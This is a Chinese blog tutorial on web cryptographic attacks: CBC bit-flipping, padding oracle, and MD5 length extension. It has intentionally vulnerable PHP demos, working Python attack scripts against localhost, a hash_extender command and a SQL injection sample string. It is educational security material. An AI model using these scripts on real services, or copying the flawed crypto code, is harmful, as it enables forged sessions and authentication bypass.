Fight For Freedom

08月 31

web中的密码学攻击

之前囤的总结,希望能帮助到大家。

0x01 前言

本次主要将web常见的密码学攻击进行了小结,以及针对出现的攻击方式原理和有意思的地方进行探讨,包括字节翻转攻击,padding oracle attack和哈希长度扩展攻击,并举例深入阐述原理。在攻击的背后,究竟还有什么可挖掘的地方,本文也进行了较浅的说明。

0x02 常见攻击

1. bit-flipping attack

单钥体制即对称加密往往和加密模式一起使用来保证加密内容的安全性,对称加密如AES、DES等本身不存在算法漏洞,但是加密模式如果在web应用中用得不恰当,那么这会给攻击者可趁之机,利用其缺陷,达到目的。
在对明文加密前,它会对明文先进行填充和分组,不同的对称加密算法有不同的分组长度和密钥长度,以及根据需求有着不同的填充方式。如下图:

一般的填充padding方式有:

    Pad with bytes all of the same value as the number of padding bytes
    Pad with 0x80 followed by zero bytes
    Pad with zeroes except make the last byte equal to the number of padding bytes
    Pad with zero (null) characters
    Pad with space characters

下面我们以AES为例,加密模式为CBC,分组长度为16,padding格式为pkcs#7,密文会包括IV。即是,如果按照16字节为一块的话,密文是会比填充后的明文多一block(16字节)。
     一般情况下,IV之所以放在密文前,是因为服务端是随机生成IV,所以在解密时需要从密文中拿到IV。
     攻击效果:借助CBC内部的模式,修改某一组密文的某个字节,导致在下一明文当中具有相同偏移量的字节发生变化。
     加密过程:

解密过程:

  • Plaintext-0 = Decrypt(Ciphertext) XOR IV—只用于第一个组块
  • Plaintext-N = Decrypt(Ciphertext) XOR Ciphertext-N-1—用于第二及剩下的组块

      值得注意的是,我们更改 IV 的时候不会影响接下来其他密文块的解密,只会影响第一组密文的结果,但是如果我们想更改第二组密文的某个值的结果的时候,就需要改变第一组密文的值,但这会导致第一组密文的解密结果坏掉。
      如果我们改变Ciphertext N-1(密文N-1)的一个字节,然后Ciphertext N解密后的组块异或,那么就可在该块处得到不同的明文了。如下图

      由于密文多出一块最开始的IV,所以我们需要修改地方密文的位置与明文要改在在同一块中,且块中的偏移相同。具体实现是先给密文分组,按照16字节为一组;其次,再按照需求修改相应的位置。比如admi0要改成admin,只需要像这样即可:$enc[4] = chr(ord($enc[4]) ^ ord('0') ^ ord('n'));

      那么该攻击方式到底适用于什么场景?最常见的就属权限提升了,将cookie或其它输入点的某个字节改掉,以达到预期效果。除此之外,还可根据上下文,服务端将数据拿去解密后,进行了一些猥琐的操作,比如命令执行,sql注入等等,那么我们不绕waf就可直接闭合单引号。可异或修改的字节不易过多,最好在一个块中,否则解密的数据会乱码、相互影响,达不到目的。
       在一定程度上,这还算是一个任意伪造,但长度和内容受该加密方式的局限。我们举个例子:

<?php 
define('KEY', '1234567890123456');

class AesCrypter {

    private $key = 'lynahex';
    private $algorithm;
    private $mode;

    public function __construct($key = '', $algorithm = MCRYPT_RIJNDAEL_128, $mode = MCRYPT_MODE_CBC) {

        if (!empty($key)) {
            $this->key = $key;
        }
          $iv_length = mcrypt_get_iv_size($algorithm, $mode);
          $this->iv = mcrypt_create_iv($iv_length, MCRYPT_RAND);

          $this->key = substr(md5($this->key,true), 0, 16); //16字节  
        $this->algorithm = $algorithm;
        $this->mode = $mode;
    }

    public function encrypt($orig_data) {
        $encrypter = mcrypt_module_open($this->algorithm, '', $this->mode, '');

        $orig_data = $this->pkcs7padding($orig_data, mcrypt_enc_get_block_size($encrypter));

        mcrypt_generic_init($encrypter, $this->key, $this->iv);//key iv
        $ciphertext = mcrypt_generic($encrypter, $orig_data);
        mcrypt_generic_deinit($encrypter);
        mcrypt_module_close($encrypter);

        return base64_encode($this->iv.$ciphertext);
    }

    public function decrypt($ciphertext) {    
        $encrypter = mcrypt_module_open($this->algorithm, '', $this->mode, '');

        $ciphertext = base64_decode($ciphertext);
        $iv = substr($ciphertext, 0, 16);    //iv
        $ciphertext = substr($ciphertext, 16); //crypto

        mcrypt_generic_init($encrypter, $this->key, $iv);
        $orig_data = mdecrypt_generic($encrypter, $ciphertext);
        mcrypt_generic_deinit($encrypter);
        mcrypt_module_close($encrypter);

        return $orig_data;  
    //    return $this->pkcs7unPadding($orig_data);
    }

    public function pkcs7padding($data, $blocksize) {
        $padding = $blocksize - strlen($data) % $blocksize;
        $padding_text = str_repeat(chr($padding), $padding);
        return $data . $padding_text;
    }

    public function pkcs7unPadding($data) {
        $length = strlen($data);
        $unpadding = ord($data[$length - 1]);
        return substr($data, 0, $length - $unpadding);
    }
}

    $aes = new AesCrypter;

    if(isset($_GET['enc'])){
        $enc = $_GET['enc'];
        $enc = $aes->encrypt($enc);
        echo $enc;//base64
    }

    if(isset($_GET['dec'])){
        $dec = $_GET['dec'];
        $dec = $aes->decrypt($dec);
        echo $dec;
    }
?>

服务端有正常加密解密的功能。假设我们得到了'bbbbbbbbbbbbbbb'的密文,但需伪造出I'm lynahex的密文。
攻击脚本如下:


#! /usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'lynahex'

import requests
import urllib
import base64

def padding(payload): #填充方式为PKCS#5
    l = (16 - len(payload) % 16)
    payload += l * chr(l)
    return payload

def xor(a,b):
    return bytearray([x^y for x, y in zip(a, b)]) 


origin_text = 'bbbbbbbbbbbbbbb'  #15
forge_text = "I'm lynahex" # 11

url = 'http://127.0.0.1/CryptoAttack/bit_flipping.php?enc=%s' % (urllib.quote(origin_text))
origin_text = bytearray(padding(origin_text))
forge_text = bytearray(padding(forge_text))

#origin_text = bytearray(origin_text)

print 'origin text: %s' % (origin_text)
s = requests.session()
enc = base64.b64decode(s.get(url).content)

IV = bytearray(enc[:16])
encrypted_block = xor(IV, origin_text)
new_IV = xor(forge_text, encrypted_block)

payload = base64.b64encode(new_IV + enc[16:])
url = 'http://127.0.0.1/CryptoAttack/bit_flipping.php?dec=%s' % (urllib.quote(payload))
res = s.get(url).content
if res:
    print res

        如果伪造的数据量实在太大,那么就应该合理构造,因为出来的明文会这样: [controlled][broken][controlled][broken]。应用场景是常见的注入类型,可以将broken的数据块用注释符给注释掉,但也一些长单词也构造不出来,有些鸡肋。
       CBC加密模式之所以像这样设计,主要还是防止像ECB这样分组的密文没有相互关联起来,致使很容易被伪造重放。字节翻转攻击本身来讲就是因为CBC加密模式的设计不合理,被算到了生成密文的中间值。
       同理,CFB、OFB等这些加密模式是不是也存在这样的问题呢?hehe --)
       如果真要想任意伪造明文,那还得使用其它不合理的地方。下面我们就来将看看padding oracle attack。

2. Padding Oracle Attack

       padding oracle attack也是针对CBC链式模式的攻击,与具体的分组算法无关。
       Padding Oracle Attack的根源在于通过应用程序对异常的处理(即服务器对此的响应状态200和500等)。web应用中,如果padding不正确,那么它就可能会返回一个500的错误;但如果padding正确,但解密不正确,则会返回另外一个状态码,比如200等。
      攻击效果:任意密文解密、任意伪造指定内容的明文
      假设服务端以DES-CBC加密,分组长度为8字节,前8字节为IV,后8字节为密文,填充格式为PKCS#7。

<?php 

class AesCrypter {

    private $key = 'lynahex';
    private $algorithm;
    private $mode;

    public function __construct($key = '', $algorithm = MCRYPT_RIJNDAEL_128, $mode = MCRYPT_MODE_CBC) {

        if (!empty($key)) {
            $this->key = $key;
        }
          $iv_length = mcrypt_get_iv_size($algorithm, $mode);
          $this->iv = mcrypt_create_iv($iv_length, MCRYPT_RAND);

          $this->key = substr(md5($this->key,true), 0, 16); //16字节  
        $this->algorithm = $algorithm;
        $this->mode = $mode;
    }

    public function encrypt($orig_data) {
        $encrypter = mcrypt_module_open($this->algorithm, '', $this->mode, '');

        $orig_data = $this->pkcs7padding($orig_data, mcrypt_enc_get_block_size($encrypter));

        mcrypt_generic_init($encrypter, $this->key, $this->iv);//key iv
        $ciphertext = mcrypt_generic($encrypter, $orig_data);
        mcrypt_generic_deinit($encrypter);
        mcrypt_module_close($encrypter);

        return base64_encode($this->iv.$ciphertext);
    }

    public function decrypt($ciphertext) {    
        $encrypter = mcrypt_module_open($this->algorithm, '', $this->mode, '');

        $ciphertext = base64_decode($ciphertext);
        $iv = substr($ciphertext, 0, 16);    //iv
        $ciphertext = substr($ciphertext, 16); //crypto

        mcrypt_generic_init($encrypter, $this->key, $iv);
        $orig_data = mdecrypt_generic($encrypter, $ciphertext);
        mcrypt_generic_deinit($encrypter);
        mcrypt_module_close($encrypter);

        return $this->pkcs7unPadding($orig_data);
    }

    public function pkcs7padding($data, $blocksize) {
        $padding = $blocksize - strlen($data) % $blocksize;
        $padding_text = str_repeat(chr($padding), $padding);
        return $data . $padding_text;
    }

    public function pkcs7unPadding($data) {

        $padchar = substr($data, -1);
        $unpadding = ord($padchar); //padsize

        // do a padding check...!! important
        $padverify = substr($data, -$unpadding);
        if(strlen(str_replace($padchar, '', $padverify)) > 0){
            throw new \Exception('Invalid padding'); // this is the reason.
        }
        return substr($data, 0, strlen($data) - $unpadding);
    }
}


    $aes = new AesCrypter;
    if($_GET['action'] == 'encrypt'){
        $plaintext = isset($_GET['plaintext'])? $_GET['plaintext']: 'admin';
        $enc = $aes->encrypt($plaintext);
        echo $enc;
    }
    if($_GET['action'] == 'decrypt'){
        $cipher = isset($_GET['ciphertext'])? $_GET['ciphertext']: '';

        try{
           $dec = $aes->decrypt($cipher);
            var_dump($dec);
        }catch(Exception $ex){
            echo 'Invalid padding';//padding error
        }
    }

?>

       我们只是将上次的示例稍微改下,把“不合理”的地方(padding)凸显出来,造成的异常是显示出Invalid padding,而在实际中可能是状态码的变化或者其它。

1). 任意密文解密

      Initialization Vector和Encrypted Input是我们所拿到的密文,前者是IV初始化向量,后者是明文对应的密文。从上图中可以看到,我们将IV的最后一字节改掉,所得到的对应明文为0x3c,很明显,这不符合padding的格式。然后一直枚举IV的最后一字节(范围0x01-0xFF),使得明文值为0x01,此时服务端会给我们一个不同于前面的状态码,这就是造成该攻击的根源。

       padding格式验证正确后,我们就可以将Intermediary Value中间值给算出来。得到最后一密文块的最后一中间值字节后,再使得我们可以控制的IV倒数第二字节枚举,使得最后明文的最后两字节都为0x02,符合填充标准,就可把中间值的倒数第二字节给算出来了(仔细看图.)。以此类推,该块的中间值就可算出来。计算出来后能干嘛呢?原始IV我们已知,现在密文的中间块也已知了,那再简单地异或下,就可将明文值给求出来。
       同样的道理,如果有多组密文,我们可把前一个块的密文当作是后一块的初始化向量IV,再用上述的方法去得到对应块的明文。
      下面是任意密文解密代码思路:
      步骤为:(注:密文会比明文多16字节,即IV)
a. 将密文分组;
b. 从最后一密文组开始:
枚举前一组密文的最后一字节,与后一密文组异或得到X,然后以(IV+X)去请求,根据返回的响应来判断是否正确,记下此时的中间值
枚举前一组密文的倒数第二字节,与后一密文组异或得到X,再请求(IV+X)...
.....
枚举前一组密文的第一字节,与后一密文组异或得到X,再请求(IV+X)....
因此,我们就可拿到后一组的中间值。
c. 按照第二步骤,继续向前推进,从而可拿到所有密文组的中间值。(注:很多人会在这里理解错误,认为可以直接拿到明文)
d. 将得到的所有中间值与原有的密文组进行异或,就可得到相应明文了。
我们可以发现,在整个攻击过程中并没有用到IV。
比如我们拿到了administrator的密文,下面我们需将其解密。
攻击代码如下:


#! /usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'lynahex'

import requests
import urllib
import base64

# 解密指定密文

s = requests.session()

def padding(payload): #填充方式为PKCS#5
    l = (16 - len(payload) % 16)
    payload += l * chr(l)
    return payload

def xor(a, b):
    return bytearray([x^y for x, y in zip(a, b)])

def decrypt(cipher):
    assert(len(cipher) % 16 == 0)
    blocks = [bytearray(cipher[i:i+16]) for i in range(0, len(cipher), 16)]  
    id = [] # 中间值
    plain = []
    for block in blocks[::-1]:
        intermediary = [0] * 16
        for i in range(16):
            for b in range(255):
                former_block = xor([i+1] * 16, intermediary)
                former_block[15-i] ^= b

                u = base64.b64encode(former_block+block)  #
                url = 'http://127.0.0.1/CryptoAttack/padding_oracle.php?action=decrypt&ciphertext=%s' % (urllib.quote(u))
                res = s.get(url).content
                if 'Invalid' not in res:    # 根据情况将判断条件改掉,比如可能是status.
                    intermediary[15-i] = former_block[15-i] ^ (i+1)  #
                    break
                else:
                    pass

        id.append(intermediary)
        plain = [xor(id[i], blocks[i]) for i in range(0,len(blocks)-1)]

    return ''.join(map(str,plain[::-1]))

plain = 'administrator'
get_crypt = 'http://127.0.0.1/CryptoAttack/padding_oracle.php?action=encrypt&plaintext=%s' % (plain)
enc = s.get(get_crypt).content.strip()
print 'enc: ' + enc

dec = decrypt(base64.b64decode(enc))
print dec

伪造指定明文一般在什么场景中用呢?

设想在这样一个场景中,我们可以控制明文输入,并能得到相应的密文,同时这密文也是我们可以控制的。但是这明文输入是有条件的,服务端禁止了用户输入的某些脏字符。那么我们能不能绕过这些输入限制,通过精心构造的一段密文,使得服务端能正常解析该密文,得到我们想要的一些猥琐的字符串呢?

同理,服务端与客户端通信内容中(比如在get或cookie中),我们发现了一段密文,通过上述的解密攻击,我们可以观察出一些规律,同时伪造出一些符合规律条件的明文,再发过去,那么就很有可能造成越权等敏感信息操作。

2). 任意伪造指定内容

我们要任意伪造指定内容的明文,只需将上面的步骤稍微改下。这要达到的攻击效果是给定一字符串,我们能精心构造出一加密串使得服务端能正常解密得到该字符串。
步骤:
a. 将明文分组和填充;
b. 从最后一密文组(N+1)开始,它是随机生成的。该步骤跟任意密文解密一样,通过服务端的响应不同来得到该组中间值。然后与指定最后一组明文异或,得到前一组的密文(N).
c. 按照第二步骤,继续向前推进。也就是说,前面的N组密文(1,2,3,....N)是被计算出来的,而最后一组密文组(N+1)是随机的。
该攻击的奇妙之处就在于不需要知道任何前提条件,只通过与服务端的交互,就可伪造出指定内容的明文。有点边信道攻击的感觉...
通过了解上面两种攻击方法,我们可以得出:
字节翻转攻击是由于CBC加密模式设计的原因才导致了该攻击的发生;然而padding oracle attack的锅不应该又由CBC模式来背,它要归咎于服务端对异常处理的不恰当,才会使得攻击者有机可趁。
解决办法:对不合理的地方不产生异常。

3. hash长度扩展攻击

对于该攻击,我们不需要关心它的具体算法。下面我们来看它开始的运算过程。
它首先会对消息进行填充和分组,消息填充,使得其比特长在模512下为448,即填充后消息的长度为512的某一倍数减64。
注:
a. 留64bit是必须的,表示该消息的长度。一般来说是不会超过2^64,如果超过则对2^64取模;
b. 填充时第一个字节为hex(80),其他字节均用hex(00)填充
c. 填充是必须的。即使消息长度已满足要求,仍需填充。因此填充的比特数大于等于1而小于等于512。
填充举例:
比如对'admin'字符串进行md5加密,那么填充就应该是

'61646d696e8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002800000000000000'

'61646d696e'是admin的hex编码,80是填充的第一字节,后面的28表示40bit,即5个字节,是小端。

       哈希摘要算法如MD5,SHA1, SHA2等是基于Merkle–Damgård结构:

       正是由于该结构,使得填充伪造增加数据成为了可能。
       攻击效果: 利用sha1、md5等加密算法的缺陷,达到数据填充伪造的效果。{secret +data + attacker_controlled_data}
       我们在不知道secret或者说前缀的情况下,攻击者可以在后面添加字符串attacker_controlled_data,并且产生一个新的hash。
       前提是需要知道:data、hash函数、以及产生的签名值。secret长度不需要知道,我们能采取爆破的方式去解决这个问题。

      如上图所示:
       IV会与第一个block的512bit进行复杂运算,会产生新的magic number,之后再与第二个block的512bit进行复杂运算....直至最后的block(message+padding),最后经过hex之后就可得到md5值了。
       因此,在md5(secret + data)的情况下,我们可以不知道secret的具体内容就可计算出任意md5(secret + data + padding + append)的值。
      原理性攻击步骤:
a. 因为我们现在计算开始的状态是md5(secret+data)的最后状态,所以应得到md5(secret+data)值,将IV改为该值,即称为了新的函数md5'(注意大小端);
b. 计算出改过的md5'(append)就是我们所需的摘要值。

攻击例子:

<?php
 $key = 'L0ved by lynahex';//16 
 $auth= isset($_GET['auth'])? $_GET['auth']:'';
 $hash = md5($key.$auth);
 echo $hash.'<br >';
 if($hash !== @$_GET['hash']){
  exit('wrong');
 }
 echo $auth.'<br >';
 echo 'right!'
?>

        用auth参数传入'test'字符串,拿到含有key值的md5值。
        我们希望能够在auth后面添加数据append,并且在不知道key的情况下就算出md5(key+data+padding+append)。假设我们要加'admin'字符串。
        这里我们直接用工具hash_extender

 ./hash_extender -d test -s aecc8d3ad0139fe7ddd7df61dc756fc2 -a admin -f md5 -l 16 --out-data-format=html

      
-d表示原始数据,-s表示服务端返回带有key的md5值,-a表示要增加的数据,-f表示hash加密种类,-l 表示key长度,--out-data-format表输出格式。(如果不知道key长度,有此选项--secret-min --secret-max)

      由此,我们得到

test%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%a0%00%00%00%00%00%00%00admin

      以及对应的hash值:a4c7f0c3d8847376c4c33db0451fb02e。

      传入服务端可得:

a4c7f0c3d8847376c4c33db0451fb02e
test€�admin
right!

     

      在实际应用场景中,这主要还是用在绕过认证,以至于在后面添加数据。还可以有其它的玩法,比如增加&id=xxxx' union select 1,2--来造成hpp后的sql注入等等。主要还是根据实际上下文的实际情况来发挥脑洞。之前给i春秋出了道题也是类似,挺有意思的,有机会将writeup发出来。

      解决办法:

hash(key+hash(key+message))或者hash(message+key)

0x03 总结

       上述三种密码模式都比较广泛用于web应用中,很多程序员都对密码安全不甚了解,一般都从网上直接摘抄使用,这样安全性就得不到保障。国内前段时间挺火的phpwind等出过类似的问题,国外的像google、雅虎等以前同样也出现过这些问题,看似微小的地方,但与实际场景一结合,将会产生巨大的危害。

       很久前的笔记,没有标记参考来源,文中也有一些是自己的猜想和观点,如果有什么不对的地方,希望能及时指出。在此谢谢表哥们了。

标签:none

还不快抢沙发

添加新评论

captcha
请输入验证码

最新文章

最近回复

  • lynahex:十分感谢解惑,特别是解决问题的方法。
  • ld:1. 搜索CVE-2016-0701 进入 https://cv...
  • lynahex:好的。
  • xdxd:友链已加~~~希望有机会多多交流~~
  • lynahex:恩,重测了下是可以的。可能当时一些危险函数被我禁掉了。 thx
  • 过客:虽然博主文章过了好久了,本地system测试还是可以执行的
  • 友情链接

    分类

    其它